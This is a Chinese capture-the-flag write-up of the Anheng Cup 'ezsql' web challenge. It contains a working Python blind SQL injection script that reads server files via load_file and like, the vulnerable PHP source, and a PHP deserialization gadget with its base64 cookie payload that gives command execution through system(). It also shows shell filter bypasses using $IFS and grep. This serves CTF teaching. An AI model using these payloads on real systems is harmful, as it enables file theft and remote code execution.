安恒杯11月月赛web题目-ezsql详细记录
通过此题目可以学习到
1.通过load_file+like来盲注获取文件内容
2.php魔术方法__get函数的用法
3.bypass linux命令过滤
题目中给了注册和登录的功能,没有源码泄露
先注册一个用户看下进入用户界面有什么其他的功能,此时题目中除了显示用户名和id号以外没有其他的功能,那么目的很明确,应该是sql注入题目,尝试了select,被过滤,单引号被过滤,因此尝试if条件返回正常,但是没有select意味着不能从数据库中读取信息,那么除了读取数据库中的信息,mysql也支持load_dile函数来读取任意的文件,只是这里没有单引号,所以需要我们将文件名以16进制编码的形式来表示,并且我们可以使用like来进行模糊查询来fuzzing出文件的内容的16进制表示。
我们可以先将要读取的文件进行16进制编码表示,比如读取/var/www/html/index.php 那么脚本如下:
#coding:utf-8
import requests
import string
payload=string.printable
payload=list(payload)
file =""
db = ""
while True:
n = 1
end = len(payload)
#print end
for i in payload:
req = requests.session()
header = {
"Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"
}
exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"
url = "http://101.71.29.5:10015/user/user.php?id="+exp
i = i.encode("hex")
url = url.format(temp=db+i)
res = req.get(url=url,headers=header)
#print res.status_code
if "user_id:1" in res.text:
print url
db = db + i
file = file + i.decode("hex")
print file
break
n = n + 1
if n == end:
print db
exit(0)
因为又包含了config/config.php,所以利用同样的方法来读取/var/www/html/config/config.php,只需要将脚本中的load_file的参数换为这个文件的16进制编码即可,将跑出来的16进制在线解码就可以得到源码了:
得到源码以后我们可以审计一下源码看看里面是否存在漏洞:
其中的/var/www/html/config/config.php中的内容对应的 16进制为
3C3F7068700A24636F6E666967203D20756E73657269616C697A65286261736536345F6465636F64652824636F6E66696729293B0A696628697373657428245F4745545B2770275D29297B0A2020202024703D245F4745545B2770275D3B0A2020202024636F6E6669672D3E24703B0A7D0A636C61737320436F6E6669677B0A20202020707269766174652024636F6E6669673B0A20202020707269766174652024706174683B0A202020207075626C6963202466696C7465723B0A202020207075626C69632066756E6374696F6E205F5F636F6E7374727563742824636F6E6669673D2222297B0A202020202020202024746869732D3E636F6E666967203D2024636F6E6669673B0A20202020202020206563686F203132333B0A202020207D0A202020207075626C69632066756E6374696F6E20676574436F6E66696728297B0A202020202020202069662824746869732D3E636F6E666967203D3D202222297B0A20202020202020202020202024636F6E666967203D20697373657428245F504F53545B27636F6E666967275D293F245F504F53545B27636F6E666967275D3A22223B0A20202020202020207D0A202020207D0A202020207075626C69632066756E6374696F6E2053657446696C746572282476616C7565297B0A2F2F20202020202020206563686F202476616C75653B0A092476616C75653D7761665F65786563282476616C7565293B200A20202020202020207661725F64756D70282476616C7565293B0A0969662824746869732D3E66696C746572297B0A202020202020202020202020666F72656163682824746869732D3E66696C746572206173202466696C746572297B0A0A202020202020202020202020202020200A20202020202020202020202020202020246172726179203D2069735F6172726179282476616C7565293F61727261795F6D6170282466696C7465722C2476616C7565293A63616C6C5F757365725F66756E63282466696C7465722C2476616C7565293B0A2020202020202020202020207D0A20202020202020202020202024746869732D3E66696C746572203D20617272617928293B0A20202020202020207D656C73657B0A20202020202020202020202072657475726E2066616C73653B0A20202020202020207D0A202020202020202072657475726E20747275653B0A202020207D0A202020207075626C6963206674696F6E205F5F67657428246B6579297B0A20202020202020202F2F7661725F64756D7028246B6579293B0A0924746869732D3E53657446696C74657228246B6579293B0A2020202020202020646965282222293B0A202020207D0A7D0A
在线解码可得源码
完整代码如下:
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
} ?>
分析一下这一段代码,首先因为index.php中Cookie变量中的CONFIG变量是我们可以控制的,那么跟踪CONFIG变量,可以发现执行了解序列化的操作,那么并且还存在可以控制的$p变量,并且在解序列化了以后会访问$p变量对应的属性,这个属性是任意的。
又因为在代码中定义了__get()魔术函数,这个函数的作用如下:
可以看到__get方法将可以用来访问私有成员属性,并且当我们访问一个不存在的属性的时候也将调用这个__get函数,所以这里是关键点,那么我们可以传给$p变量任何值,都会触发__get()函数
在__get函数中,又将会对传入的属性名字调用set_filter函数,跟踪一下,首先会对该$p值进行一个过滤,然后判断属性属性fliter是否存在,若存在将遍历filter变量,如果$p值为数组则调用array_map函数,否则调用call_user_func函数,这两个函数都能够调用我们逍遥调用的任意的函数,即存在RCE,我们可以控制$filter的值为命令执行的函数,可以控制$p值为想要执行的命令,就可以执行任意命令了。
所以我们执行如下payload:
<?php
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
$tr1ple = new Config();
$tr1ple->filter = array('system');
echo base64_encode(serialize($tr1ple));
?>
通过实例化Config类,并且给filter赋值为我们想要执行的函数,输出得到,并在burp中将其赋值给Cookie中的CONFIG变量即可:
Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
此时可以看到当前目录下存在flag2333文件,在尝试cat,ls *后发现cat被过滤了,空格也被过滤了,那么可以使用$IFS来替代空格,此时可以看到flag.php在flag2333文件夹下面
ls$../以后发现/也被过滤了,那么就没有办法进入到flag2333文件夹了,那么如何得到flag,可以使用grep -ir “flag” *
*表示当前目录,也就是我们的html目录下的所有文件,我们匹配flag字符串,即可获得flag。
安恒杯11月月赛web题目-ezsql详细记录的更多相关文章
- 2018安恒杯11月月赛 MISC
题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...
- 安恒杯2月月赛-应该不是xss
1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...
- BZOJ5091 摘苹果 BZOJ2017年11月月赛 概率,期望
欢迎访问~原文出处——博客园-zhouzhendong 去博客园看该题解 题目传送门 - BZOJ5091 11月月赛B题 题意概括 题解 代码 #include <cstring> #i ...
- BZOJ5090 组题 BZOJ2017年11月月赛 二分答案 单调队列
欢迎访问~原文出处——博客园-zhouzhendong 去博客园看该题解 题目传送门 - BZOJ5090 11月月赛A题 题意概括 给出n个数. 求连续区间(长度大于等于k)最大平均值. 题解 这题 ...
- 「P4996」「洛谷11月月赛」 咕咕咕(数论
题目描述 小 F 是一个能鸽善鹉的同学,他经常把事情拖到最后一天才去做,导致他的某些日子总是非常匆忙. 比如,时间回溯到了 2018 年 11 月 3 日.小 F 望着自己的任务清单: 看 iG 夺冠 ...
- 「P4994」「洛谷11月月赛」 终于结束的起点(枚举
题目背景 终于结束的起点终于写下句点终于我们告别终于我们又回到原点…… 一个个 OIer 的竞赛生涯总是从一场 NOIp 开始,大多也在一场 NOIp 中结束,好似一次次轮回在不断上演.如果这次 NO ...
- 「LuoguP4995」「洛谷11月月赛」 跳跳!(贪心
题目描述 你是一只小跳蛙,你特别擅长在各种地方跳来跳去. 这一天,你和朋友小 F 一起出去玩耍的时候,遇到了一堆高矮不同的石头,其中第 ii 块的石头高度为 h_ihi,地面的高度是 h_0 = 0 ...
- csu-2018年11月月赛Round2-div1题解
csu-2018年11月月赛Round2-div1题解 A(2191):Wells的积木游戏 Description Wells有一堆N个积木,标号1~N,每个标号只出现一次 由于Wells是手残党, ...
- csu-2018年11月月赛Round2-div2题解
csu-2018年11月月赛Round2-div2题解 A(2193):昆虫繁殖 Description 科学家在热带森林中发现了一种特殊的昆虫,这种昆虫的繁殖能力很强.每对成虫过x个月产y对卵,每对 ...
随机推荐
- c++基类指针指向继承类调用继承类函数
类里面重载运算符>>, 需要使用友元函数,而友元函数,不能作为虚函数. 所以,基类指针无法直接调用继承类里重构的 >> ; 使用类转换,能解决掉,基类指针 调用 继承类 ...
- 20165219 2017-2018-2 《Java程序设计》第9周学习总结
20165219 2017-2018-2 <Java程序设计>第9周学习总结 课本知识总结 URL类 URL类是java.net包中的一个重要的类,使用URL创建对象的应用程序称为客户端程 ...
- BZOJ4650/UOJ219 [Noi2016]优秀的拆分
本文版权归ljh2000和博客园共有,欢迎转载,但须保留此声明,并给出原文链接,谢谢合作. 本文作者:ljh2000 作者博客:http://www.cnblogs.com/ljh2000-jump/ ...
- HDU6301-2018ACM暑假多校联合训练1004-Distinct Values
题意是一个长度为n的序列,给你m组区间(l,r),在这个区间里不能填入重复的数字,同时使整个序列字典序最小 同学用的优先队列,标程里使用的是贪心同时使用set维护答案序列 贪心是先采用pre数组来确定 ...
- MapReduce编写的正确姿势
先看一下目录结构 这里是job接口,负责参数的传递和定时的调用 下面的图是MR 程序相关的目录图片,其中MR的入口程序负责读取数据,并指定对应的Map.Reduce程序. 程序的流程 首先简单的说一下 ...
- EasyUI学习笔记(四)—— datagrid的使用
一.传统的HTML表格 之前我们做表格的时候是这样写的: <table > <thead> <tr> <th>编号</th> <th& ...
- web前端基础
超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议.所有的WWW文件都必须遵守这个标准.设计HTTP最初的目的是为了提供一种发布和接 ...
- Nginx负载均衡详解
upstream mysvr { server 192.168.10.121:3333; server 192.168.10.122:3333; } server { .... location ...
- python之常用的数据类型
1. 变量的定义以及声明 在学习变量之前,咱们需要知道变量的命名规则: ① 变量必须由数字字母下划线构成,如a_1 ② 变量名不能以数字开头,如1a ③ 需要遵循驼峰命名法 给变量赋值通常采用“=”, ...
- C#多线程函数如何传参数和返回值
详见网站:http://WWW.MOVIH.COM就是一个多线程爬虫系统. C#多线程函数如何传参数和返回值 提起多线程,不得不提起 委托(delegates)这个概念. 我理解的委托 ...